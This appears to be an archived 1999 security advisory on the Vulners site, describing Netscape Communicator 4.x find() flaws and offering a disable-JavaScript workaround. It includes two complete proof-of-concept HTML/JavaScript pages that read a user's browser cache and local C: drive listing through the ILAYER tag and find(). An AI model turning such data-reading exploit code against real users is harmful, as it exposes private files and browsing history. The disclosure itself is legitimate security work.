Vulners
Lucene search
netscape.find.txt
`Date: Mon, 8 Mar 1999 19:48:05 +0200
From: Georgi Guninski <[email protected]>
To: [email protected]
Subject: Netscape Communicator find() vulnerabilities
There is a design flaw in Netscape Communicator 4.5 Win95, 4.08 WinNT (I
guess all 4.x version are vulnerable)
which allows the following security exploits:
*)Reading the parsed content of local HTML files (by 'parsed' I mean
the text the user sees, not the actual HTML source)
*)Reading the parsed content of HTML files on a web server blocked by a
firewall (the browser and the web server must be on the same side of the
firewall)
*)Reading user's cache
*)Browsing directories
*)Probably others
The exploits use the JavaScript find() function and the ILAYER tag.
This may be exploited using HTML message.
Workaround: Disable JavaScript
Demonstration is available at:
http://www.nat.bg/~joro/nsfind.html
-----------HTML code-------------
<HTML>
<HEAD>
</HEAD>
<BODY onLoad="resizeTo(1,1)">
MBEGIN
<ILAYER SRC="wysiwyg://1/about:cache">
</ILAYER>
<SCRIPT>
//mag='MBEGIN';
mag='Average cache';
mend='MEND';
res=mag;
charstoread=100;
function readit() {
for(i=0;i<charstoread;i++) {
t=res;
find(mend);
for(c=1;c<256;c++) {
t=res + String.fromCharCode(c);
if (find(t,true,true)) {
// alert(c);
res=t;
}
}
}
res=res.substring(mag.length);
alert("The first URL in your cache is: \n" + res);
}
setTimeout('readit();',3000);
</SCRIPT>
MEND
</BODY>
</HTML>
---------------------------------
-----------HTML code-------------
<HTML>
<HEAD>
</HEAD>
<BODY onLoad="resizeTo(1,1)">
MBEGIN
<ILAYER SRC="wysiwyg://1/file:///c|/">
</ILAYER>
<SCRIPT>
mag='MBEGIN';
mend='MEND';
res=mag;
charstoread=100;
function readit() {
for(i=0;i<charstoread;i++) {
t=res;
find(mend);
for(c=1;c<256;c++) {
t=res + String.fromCharCode(c);
if (find(t,true,true)) {
// alert(c);
res=t;
}
}
}
res=res.substring(mag.length);
alert("The first file in your C:\\ drive is :\n" + res);
}
setTimeout('readit();',3000);
</SCRIPT>
MEND
</BODY>
</HTML>
---------------------------------
Regards,
Georgi Guninski
http://www.nat.bg/~joro
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Aug 1999 00:00Current
7.4High risk
Vulners AI Score7.4